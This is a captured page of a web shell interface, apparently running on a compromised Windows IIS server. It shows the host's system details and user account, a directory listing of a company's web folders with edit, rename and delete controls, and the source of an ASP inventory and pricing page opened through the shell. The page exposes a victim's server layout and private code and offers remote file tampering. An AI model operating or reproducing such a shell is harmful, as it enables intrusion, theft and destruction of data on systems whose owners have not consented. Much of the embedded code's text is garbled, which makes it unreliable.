Webshell Akmal archtte id
System:
Microsoft Windows NT 10.0.20348.0
Server:
Microsoft-IIS/10.0
User:
buyyou
Directory:
C:
\
MyData
\
WWW
\
asc365
\
Name
Size
Type
Actions
ASC365_CANADA
-
Directory
Rename
Delete
ASC365_Store01
-
Directory
Rename
Delete
aspnet_client
-
Directory
Rename
Delete
CompanyImage
-
Directory
Rename
Delete
TJGS_USA
-
Directory
Rename
Delete
zhijian
-
Directory
Rename
Delete
Memo.inc
0 bytes
.inc
Edit
Rename
Delete
web.config
213 bytes
.config
Edit
Rename
Delete
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> </head> <body style="width:1000px; margin:0 auto; text-align:center; margin-top:20px"> <% set fs=Server.CreateObject("Scripting.FileSystemObject") It_No=request.QueryString("productid") If (fs.FileExists(Server.MapPath("../../../ASC365_Canada/Admin/GLBPRILM")))=true then '��ȡ�ȼۣ�����, ��ϵ�� Set f=fs.OpenTextFile(Server.MapPath("../../../ASC365_Canada/Admin/GLBPRILM"), 1) Rate=trim(f.ReadLine) ' response.write rate end if %> <% if Isnumeric(It_No)=true and len(It_No)=6 then Dim TT(200) Dim MM(16) Dim companyinfo(10,5) c_i=0 Temp=server.MapPath("../../../ASC365_CANADA/Admin/companyinfo") set f=fs.OpenTextFile(Temp,1) do while f.AtEndOfStream=false str=f.ReadLine if len(str)>0 then str11=split(str,"|") companyinfo(c_i,0)=str11(1) companyinfo(c_i,1)=str11(2) companyinfo(c_i,2)=str11(4) companyinfo(c_i,3)=0 companyinfo(c_i,4)=0 c_i=c_i+1 end if loop for i=0 to c_i-1 Temp=server.MapPath("../../../"&companyinfo(i,1)&"/Admin/"&left(It_No,3)&"/"&right(It_No,3)&"/Store.inc") if fs.FileExists(Temp)=true then set f=fs.OpenTextFile(Temp,1) do while f.AtEndOfStream=false f.skipline f.skipline daixiu=f.ReadLine zong=f.ReadLine f.skipline f.skipline f.skipline f.skipline f.skipline f.skipline baofei=f.ReadLine exit do loop if Isnumeric(daixiu)=false then daixiu=0 if Isnumeric(zong)=false then zong=0 if Isnumeric(baofei)=false then baofei=0 companyinfo(i,3)=zong*1-daixiu*1-baofei*1 f.close set f=nothing end if Temp=server.MapPath("../../../ASC365_CANADA/Admin/"&companyinfo(i,2)) if fs.FileExists(Temp)=true then set f=fs.OpenTextFile(Temp,1) do while f.AtEndOfStream = false WW=trim(f.ReadLine) if len(WW)<>0 then str=split(ww,"|") if It_No=str(0) then companyinfo(i,4)=str(1) exit do end if end if loop f.Close Set f=Nothing end if next %> <br> <table border="0" width="800" height="15" style="border-collapse: collapse"> <tr> <td height="20" width="800" bgcolor="#800000"><p align="center"> <font color="#FFFFFF" size="3" face="Verdana"><b>��Ʒ�����;����</b></font></td> </tr> </table> <table border="1" width="800" height="20" style="border-collapse: collapse" bordercolor="#e0e0e0"> <tr> <th>�ֹ�˾</th> <% for i=0 to c_i-1 %> <th><%=companyinfo(i,0)%></th> <% next %> </tr> <tr> <td>���</td> <% for i=0 to c_i-1 %> <td align="center"><%=companyinfo(i,3)%></td> <% next %> </tr> <tr> <td>��;</td> <% for i=0 to c_i-1 %> <td align="center"><%=companyinfo(i,4)%></td> <% next %> </tr> </table> <% HH=left(It_No,3) LL=right(It_No,3) '---------------------��ȡ�۸�----------------------------- GGprice=Server.MapPath("../../../ASC365_Canada/Admin/" & HH & "/" & LL &"/GGPrice.inc") If (fs.FileExists(GGPrice))=true then Pic="../../../ASC365_Canada/Admin/" & HH & "/" & LL &"/" & "0000.gif" Set f=fs.OpenTextFile(GGprice, 1) P0=trim(f.ReadLine) 'code P1=trim(f.ReadLine) '������ P2=trim(f.ReadLine) '��С������ P3=trim(f.ReadLine) '���� P4=trim(f.ReadLine) '����US$ P5=trim(f.ReadLine) '����------------------ P6=trim(f.ReadLine) '���------------------ P7=trim(f.ReadLine) '��λ P8=trim(f.ReadLine) '��վ����--------------- P9=trim(f.ReadLine) '����RMB P10=trim(f.ReadLine) '����ע P11=trim(f.ReadLine) '��ע-------------------- if f.AtEndofStream = false then P12 = trim(f.ReadLine) end if f.Close: Set f=Nothing if len(p5)=0 then p5=0 CKJ="" if isnumeric(p5)=true and isnumeric(p4)=true then CKJ= Round(p5 * p4,2) %> <br> <table border="0" width="800" height="15" style="border-collapse: collapse"> <tr> <td height="20" width="800" bgcolor="#800000"><p align="center"> <font color="#FFFFFF" size="3" face="Verdana"><b>��Ʒ������ϸ</b></font></td> </tr> </table> <table border="1" width="800" height="80" style="border-collapse: collapse" bordercolor="#e0e0e0"> <tr> <td height="80" width="80" rowspan="2"><img border="0" src="<%=Pic%>" width="80" height="80"></td> <td height="19" width="66" bgcolor="efefef"><font size="2" face="Verdana"><b><%=TT(0)%></b></font></td> <td height="19" width="374" bgcolor="efefef"><font size="2" face="Verdana"><b><%=TT(2)%></b></font></td> <td height="19" width="256" bgcolor="efefef"><font size="2" face="Verdana"><b><%=TT(1)%></b></font></td> </tr> <tr> <td height="53" width="707" colspan="3"> <table border="0" width="707" height="60" style="border-collapse: collapse"> <tr> <td height="20" width="81" align="center" bgcolor="efefef"><span style="font-size: 9pt">����</span></td> <td height="20" width="53" align="center" bgcolor="efefef"><span style="font-size: 9pt">ϵ��</span></td> <td height="20" width="61" align="center" bgcolor="efefef"><span style="font-size: 9pt">�����</span></td> <td height="20" width="66" align="center" bgcolor="efefef"><span style="font-size: 9pt">���USD</span></td> <td height="20" width="66" align="center" bgcolor="efefef">���CAD</td> <td height="20" width="57" align="right" bgcolor="efefef"><span style="font-size: 9pt">��λ</span></td> <td height="20" width="53" align="center"> </td> <td height="20" width="69" align="right" bgcolor="efefef"><span style="font-size: 9pt">��С����</span></td> <td height="20" width="52" align="center"><span style="font-size: 9pt"><%=p2%></span></td> <td height="20" width="35" align="right" bgcolor="efefef"><span style="font-size: 9pt">����</span></td> <td height="20" width="68" align="center"><span style="font-size: 9pt"><%=p3%></span></td> </tr> <tr> <td height="20" width="81" align="center"><span style="font-size: 9pt"><%=p4%></span><span lang="en-us">$</span></td> <td height="20" width="53" align="center"><span style="font-size: 9pt"><%=p5%></span></td> <td height="20" width="61" align="center"><font style="font-size: 9pt"><%=p1%></font></td> <td height="20" width="66" align="center"><span style="font-size: 9pt"><%=p6%></span></td> <td height="20" width="66" align="center"><span style="font-size: 9pt"><%=p12%></span></td> <td height="20" width="57" align="right" bgcolor="efefef"><span style="font-size: 9pt"><%=p7%></span></td> <td height="20" width="302" colspan="5" align="center"><span style="font-size: 9pt">��վ������<%=p8%></span></td> </tr> <tr> <td height="20" width="81" align="center"><span style="font-size: 9pt"><%=p9%></span><span lang="en-us">��</span></td> <td height="20" width="53" align="center" bgcolor="efefef"><span style="font-size: 9pt">����ע</span></td> <td height="20" width="196" align="center" colspan="3"><span style="font-size: 9pt"><%=p10%></span></td> <td height="20" width="57" align="right" bgcolor="efefef"><span style="font-size: 9pt">��ע</span></td> <td height="20" width="302" colspan="5" align="center"><span style="font-size: 9pt"><%=p11%></span></td> </tr> </table> </td> </tr> </table> <%end if '---------------------------------��Ʒ�����ϸ------------------------------- %> <% Price=Server.MapPath("../../../ASC365_Canada/Admin/"& HH & "/"& LL &"/NewPrice.inc") ' ��ȡ���ۼ۸� If (fs.FileExists(Price))=true then Pic="../../../ASC365_Canada/Admin/" & HH & "/" & LL &"/" & "0000.gif" Set f=fs.OpenTextFile(price, 1) yy0=trim(f.ReadLine) 'code yy1=trim(f.ReadLine) 'purchase price yy2=trim(f.ReadLine) 'xs yy3=trim(f.ReadLine) 'web note yy4=trim(f.ReadLine) 'list price yy5=trim(f.ReadLine) 'Unit f.Close: Set f=Nothing end if '-------------------------------------- Store= Server.MapPath("../../Admin/"& HH & "/"& LL &"/Store.inc") '��ȡ�ֿ���Ϣ jj=0 If (fs.FileExists(Store))=true then Set f=fs.OpenTextFile(Store, 1) do while f.AtEndOfStream = false mm(jj)=trim(f.ReadLine): if mm(jj)="0" then mm(jj)="" jj=jj+1 loop f.Close: Set f=Nothing z0=mm(0): z1=mm(1): z2=mm(2): z3=mm(3):z4=mm(4): z5=mm(5) z6=mm(6): z7=mm(7): z8=mm(8): z9=mm(9):z10=mm(10): z11=mm(11) z12=mm(12): z13=mm(13): z14=mm(14): z15=mm(15): z16=mm(16) ' z0=trim(f.ReadLine) 'code ' z1=trim(f.ReadLine) '��С��� if len(z1)=0 then z1=0 ' z2=trim(f.ReadLine) '���� if len(z2)=0 then z2=0 ' z3=trim(f.ReadLine) '�ܿ�� ' z4=trim(f.ReadLine) '�ѷ���1 if len(z4)=0 then z4=0 ' z5=trim(f.ReadLine) '�ѷ���2 if len(z5)=0 then z5=0 ' z6=trim(f.ReadLine) '�ѷ���3 if len(z6)=0 then z6=0 ' z7=trim(f.ReadLine) '�ѷ���4 if len(z7)=0 then z7=0 ' z8=trim(f.ReadLine) '��λ ' z9=trim(f.ReadLine) '��ע1 ' z10=trim(f.ReadLine) '���� if len(z10)=0 then z10=0 ' z11=trim(f.ReadLine) '�̿� ' z12=trim(f.ReadLine) 'ʵ�����1 if len(z12)=0 then z12=0 'z13=trim(f.ReadLine) 'ʵ�����2 if len(z13)=0 then z13=0 'z14=trim(f.ReadLine) 'ʵ�����3 if len(z14)=0 then z14=0 ' z15=trim(f.ReadLine) 'ʵ�����4 if len(z15)=0 then z15=0 ' z16=trim(f.ReadLine) '��ע2 '---------------------------------------------------------------- SJKC=0 'ʵ�ʿ�� = �ܿ��-����-���� if isnumeric(z3)=true and isnumeric(z10) and isnumeric(z2)=true then SJKC = Z3-Z10-Z2 YBK=0 'Ӧ���� = ��С���-ʵ�ʿ�� if isnumeric(z1)=true and isnumeric(SJKC)=true then YBK= Z1-SJKC '�ܿ��ֻ������ʵ�������ӣ� ����ˮ�ʴ����ٻ����� ' end if %> <br> <table border="0" width="800" height="15" style="border-collapse: collapse"> <tr> <td height="20" width="800" bgcolor="#800000"><p align="center"> <font color="#FFFFFF" size="3" face="Verdana"><b>��Ʒ�����ϸ</b></font></td> </tr> </table> <table border="1" width="800" height="80" style="border-collapse: collapse" bordercolor="#e0e0e0"> <tr> <td height="80" width="80" rowspan="2"><img border="0" src="<%=Pic%>" width="80" height="80"></td> <td height="19" width="66" bgcolor="efefef"><font size="2" face="Verdana"><b><%=TT(0)%></b></font></td> <td height="19" width="374" bgcolor="efefef"><font size="2" face="Verdana"><b><%=TT(2)%></b></font></td> <td height="19" width="256" bgcolor="efefef"><font size="2" face="Verdana"><b><%=TT(1)%></b></font></td> </tr> <tr> <td height="20" width="707" colspan="3"> <%'######################################################################%> <table border="0" width="711" height="10" style="border-collapse: collapse" bordercolor="#E0E0E0"> <tr> <td height="15" width="32" align="right" bgcolor="efefef"><font size="2">���</font></td> <td height="15" width="38" align="right"><p align="left"><font size="2" color="#00CC00"><b><%=SJKC%></b></font></td> <td height="15" width="70" align="right" bgcolor="efefef"><font size="2">��С���</font></td> <td height="15" width="54" align="right"><font size="2" color="#00CC00"><b><%=z1%></b></font></td> <td height="15" width="57" align="right" bgcolor="efefef"><font size="2">Ӧ����</font></td> <td height="15" width="178" align="right" colspan="4"><p align="left"><font size="2" color="#FF0000"><b><% if YBK*1>0 then response.write YBK %></b></font></td> <td height="15" width="37" align="right" bgcolor="efefef"><font size="2">��λ</font></td> <td height="15" width="60"><font size="2"><%=yy5%></font></td> <td height="15" width="169"><p align="center" bgcolor="efefef"><font size="2">��ע1(�ϣ�/��ע2</font></td> </tr> <tr> <td height="15" width="32" align="right" bgcolor="efefef"><font size="2">����</font></td> <td height="15" width="38" align="right"><font size="2"><b><%=z2%></b></font></td> <td height="15" width="70" align="right" bgcolor="efefef"><font size="2">�ܿ��</font> <td height="15" width="54" align="right"><p align="center"><font size="2"><b><%=z3%></b></font></td> <td height="15" width="57" align="right" bgcolor="efefef"><font size="2">�ѷ���</font></td> <td height="15" width="45" align="right"><font size="2" color="#009933"><b><%=z4%></b></font></td> <td height="15" width="45" align="right"><font size="2" color="#009933"><b><%=z5%></b></font></td> <td height="15" width="45" align="right"><font size="2" color="#009933"><b><%=z6%></b></font></td> <td height="15" width="45" align="right"><font size="2" color="#009933"><b><%=z7%></b></font></td> <td height="15" width="37" align="right" bgcolor="efefef"><font size="2">��λ</td> <td height="15" width="60" align="right"><font size="2" color="#00CC00"><b><%=z8%></b></font></td> <td height="18" width="169"><font size="2" color="#00CC00"><b><%=z9%></b></font></td> </tr> <tr> <td height="15" width="32" align="right" bgcolor="efefef"><font size="2">����</font></td> <td height="15" width="38" align="right"><font size="2"><b><%=z10%></b></font></td> <td height="15" width="70" align="right" bgcolor="efefef"><font size="2">�̿�</font></td> <td height="15" width="54" align="right"><font size="2" color="#00CC00"><b><%=z11%></b></font></td> <td height="15" width="57" align="right" bgcolor="efefef"><font size="2">ʵ���</font></td> <td height="15" width="45" align="right"><font size="2" color="#0000FF"><b><%=z12%></b></font></td> <td height="15" width="45" align="right"><font size="2" color="#0000FF"><b><%=z13%></b></font></td> <td height="15" width="45" align="right"><font size="2" color="#0000FF"><b><%=z14%></b></font></td> <td height="15" width="45" align="right"><font size="2" color="#0000FF"><b><%=z15%></b></font></td> <td height="15" width="37" align="right" bgcolor="efefef"><font size="2">����</font></td> <td height="15" width="60"><font size="2"><font color="#FF00FF"><b><%=p6%></b></font></font></td> <td height="18" width="169"><font size="2"><b><%=z16%></b></font></td> </tr> </table> </td> </tr> </table> <% end if '-------------------------------------------------------------- %> <table border="0" width="800" height="15" style="border-collapse: collapse"> <tr> <td height="20" width="800" bgcolor="#800000"><p align="center"> <font color="#FFFFFF" size="3" face="Verdana"><b>��Ʒ���</b></font></td> </tr> </table> <table border="0" width="800" height="61" style="border-collapse: collapse"> <%HH=left(It_No,3) LL=right(It_No,3) PPath=Server.MapPath("../../../ASC365_Canada/Admin/"& HH & "/"& LL &"/") CPpathh= Server.MapPath("../../../ASC365_Canada/Admin/" & HH & "/" & LL &"/0000mainpage.htm") If (fs.FileExists(CPpathh))=true Then set t=fs.OpenTextFile(CPpathh,1,false) x=t.ReadAll t.close Set t=Nothing %> <tr> <td height="32" width="800"><%=x%></td> </tr> </table> <% end if '----------------------��Ʒ������ϸ---------------------------- 'JGpathh= Server.MapPath("../../Admin/" & HH & "/" & LL &"/SellFlag.inc") 'If (fs.FileExists(JGpathh))=true then MX_pathh=Server.MapPath("../../../ASC365_Canada/Admin/" & HH & "/" & LL &"/Tech.inc") If (fs.FileExists(MX_pathh))=true then Set f=fs.OpenTextFile(MX_pathh, 1) '��ȡ���ƣ����� for m= 0 to 50 TT(m)=trim(f.ReadLine) next f.Close: Set f=Nothing Dim kk(50) i=0 Set f=fs.OpenTextFile(Server.MapPath("../../../ASC365_Canada/Admin/CPMSLM"), 1) Do while f.AtEndOfStream = false WW=trim(f.ReadLine) temp=split(ww,"-") kk(i)=trim(temp(1)):i=i+1 loop f.Close:Set f=Nothing %> <table border="0" width="800" height="15" style="border-collapse: collapse"> <tr> <td height="20" width="800" bgcolor="#800000"><p align="center"> <font color="#FFFFFF" size="3" face="Verdana"><b>��Ʒ������ϸ</b></font></td> </tr> </table> <table border="0" width="800" height="43" style="border-collapse: collapse"> <tr> <td height="43" width="800"> <table border="1" width="800" height="18" style="border-collapse: collapse" bordercolor="#C3DAF9"> <% S=0:ii=0: for n=0 to 30 if len(kk(ii))=0 then exit for %> <tr> <% for m=0 to 1 %> <td height="18" width="150" bgcolor="efefef"><p align="right"><font size="2"><%=KK(ii)%></font></td> <td height="18" width="250"><p align="left"><font size="2"><%=TT(ii)%></font></td> <% ii=ii+1 %> <% next %> </tr> <% next %> </table> </tr> </table> <%end if %> <% else '-------------------��ȡ���ô������;��Ϣ------------------- Dim ZT(4999,1) Dim ZT_js for i=0 to 4999 ZT(i,1)=0 next ZT_js=0 Temp=Server.MapPath("..\..\..\ASC365_Canada\Admin") & "\CPDGGL" '��Ʒͨ�����˶�������Ŀ¼ set fo=fs.GetFolder(Temp) for each x in fo.files Namee=x.Name if lcase(right(Namee,4))=".sss" then Temp1=Temp & "\" & Namee Set f=fs.OpenTextFile(Temp1, 1) do while f.AtEndOfStream = false YY=Trim(f.ReadLine) if left(YY,2)="@@" then YY=right(YY,len(YY)-2) str=Split(YY,"|") ZT_Flag=0 for i=0 to ZT_js if ZT(i,0)=trim(str(0)) then ZT(i,1)=ZT(i,1)*1+str(6)*1 ZT_Flag=1 exit for end if next if ZT_Flag=0 then ZT(ZT_js,0)=trim(str(0)) ZT(ZT_js,1)=trim(str(6)) ZT_js=ZT_js+1 end if end if loop f.Close: Set f=Nothing end if next set fo=nothing Temp=Server.MapPath("..\..\..\ASC365_Canada\Admin") & "\CPDGGL_KC" '��Ʒͨ���쳵��������Ŀ¼ set fo=fs.GetFolder(Temp) for each x in fo.files Namee=x.Name if lcase(right(Namee,4))=".sss" then Temp1=Temp & "\" & Namee Set f=fs.OpenTextFile(Temp1, 1) do while f.AtEndOfStream = false YY=Trim(f.ReadLine) if left(YY,2)="@@" then YY=right(YY,len(YY)-2) str=Split(YY,"|") ZT_Flag=0 for i=0 to ZT_js if ZT(i,0)=trim(str(0)) then ZT(i,1)=ZT(i,1)*1+str(6)*1 ZT_Flag=1 exit for end if next if ZT_Flag=0 then ZT(ZT_js,0)=trim(str(0)) ZT(ZT_js,1)=trim(str(6)) ZT_js=ZT_js+1 end if end if loop f.Close: Set f=Nothing end if next set fo=nothing Temp=Server.MapPath("..\..\..\ASC365_Canada\Admin\ZT_CANADA.ss") '���ô�ASC���ʹ�˾��Ʒ����ѯ�ļ� Set f=fs.CreateTextFile(Temp,true) for i=0 to ZT_js-1 WW=ZT(i,0)&"|"&ZT(i,1) f.WriteLine (WW) next f.Close: Set f=Nothing '-------------------��ȡ������ɼ���;��Ϣ------------------- for i=0 to 4999 ZT(i,1)=0 next ZT_js=0 Temp=Server.MapPath("..\..\..\ASC365_Los\Admin") & "\CPDGGL" '��Ʒͨ�����˶�������Ŀ¼ set fo=fs.GetFolder(Temp) for each x in fo.files Namee=x.Name if lcase(right(Namee,4))=".sss" then Temp1=Temp & "\" & Namee Set f=fs.OpenTextFile(Temp1, 1) do while f.AtEndOfStream = false YY=Trim(f.ReadLine) if left(YY,2)="@@" then YY=right(YY,len(YY)-2) str=Split(YY,"|") ZT_Flag=0 for i=0 to ZT_js if ZT(i,0)=trim(str(0)) then ZT(i,1)=ZT(i,1)*1+str(6)*1 ZT_Flag=1 exit for end if next if ZT_Flag=0 then ZT(ZT_js,0)=trim(str(0)) ZT(ZT_js,1)=trim(str(6)) ZT_js=ZT_js+1 end if end if loop f.Close: Set f=Nothing end if next set fo=nothing Temp=Server.MapPath("..\..\..\ASC365_Los\Admin") & "\CPDGGL_KC" '��Ʒͨ���쳵��������Ŀ¼ set fo=fs.GetFolder(Temp) for each x in fo.files Namee=x.Name if lcase(right(Namee,4))=".sss" then Temp1=Temp & "\" & Namee Set f=fs.OpenTextFile(Temp1, 1) do while f.AtEndOfStream = false YY=Trim(f.ReadLine) if left(YY,2)="@@" then YY=right(YY,len(YY)-2) str=Split(YY,"|") ZT_Flag=0 for i=0 to ZT_js if ZT(i,0)=trim(str(0)) then ZT(i,1)=ZT(i,1)*1+str(6)*1 ZT_Flag=1 exit for end if next if ZT_Flag=0 then ZT(ZT_js,0)=trim(str(0)) ZT(ZT_js,1)=trim(str(6)) ZT_js=ZT_js+1 end if end if loop f.Close: Set f=Nothing end if next set fo=nothing Temp=Server.MapPath("..\..\..\ASC365_Canada\Admin\ZT_LOSUSA.ss") '���ô�ASC���ʹ�˾��Ʒ����ѯ�ļ� Set f=fs.CreateTextFile(Temp,true) for i=0 to ZT_js-1 WW=ZT(i,0)&"|"&ZT(i,1) f.WriteLine (WW) next f.Close: Set f=Nothing '-------------------��ȡ���ô��¸绪��;��Ϣ------------------- for i=0 to 4999 ZT(i,1)=0 next ZT_js=0 Temp=Server.MapPath("..\..\..\ASC365_VAN\Admin") & "\CPDGGL" '��Ʒͨ�����˶�������Ŀ¼ set fo=fs.GetFolder(Temp) for each x in fo.files Namee=x.Name if lcase(right(Namee,4))=".sss" then Temp1=Temp & "\" & Namee Set f=fs.OpenTextFile(Temp1, 1) do while f.AtEndOfStream = false YY=Trim(f.ReadLine) if left(YY,2)="@@" then YY=right(YY,len(YY)-2) str=Split(YY,"|") ZT_Flag=0 for i=0 to ZT_js if ZT(i,0)=trim(str(0)) then ZT(i,1)=ZT(i,1)*1+str(6)*1 ZT_Flag=1 exit for end if next if ZT_Flag=0 then ZT(ZT_js,0)=trim(str(0)) ZT(ZT_js,1)=trim(str(6)) ZT_js=ZT_js+1 end if end if loop f.Close: Set f=Nothing end if next set fo=nothing Temp=Server.MapPath("..\..\..\ASC365_VAN\Admin") & "\CPDGGL_KC" '��Ʒͨ���쳵��������Ŀ¼ set fo=fs.GetFolder(Temp) for each x in fo.files Namee=x.Name if lcase(right(Namee,4))=".sss" then Temp1=Temp & "\" & Namee Set f=fs.OpenTextFile(Temp1, 1) do while f.AtEndOfStream = false YY=Trim(f.ReadLine) if left(YY,2)="@@" then YY=right(YY,len(YY)-2) str=Split(YY,"|") ZT_Flag=0 for i=0 to ZT_js if ZT(i,0)=trim(str(0)) then ZT(i,1)=ZT(i,1)*1+str(6)*1 ZT_Flag=1 exit for end if next if ZT_Flag=0 then ZT(ZT_js,0)=trim(str(0)) ZT(ZT_js,1)=trim(str(6)) ZT_js=ZT_js+1 end if end if loop f.Close: Set f=Nothing end if next set fo=nothing Temp=Server.MapPath("..\..\..\ASC365_Canada\Admin\ZT_WGHCAN.ss") '���ô�ASC���ʹ�˾��Ʒ����ѯ�ļ� Set f=fs.CreateTextFile(Temp,true) for i=0 to ZT_js-1 WW=ZT(i,0)&"|"&ZT(i,1) f.WriteLine (WW) next f.Close: Set f=Nothing '-------------------------------------------------------------------------- end if Set fs=Nothing %> </body> </html>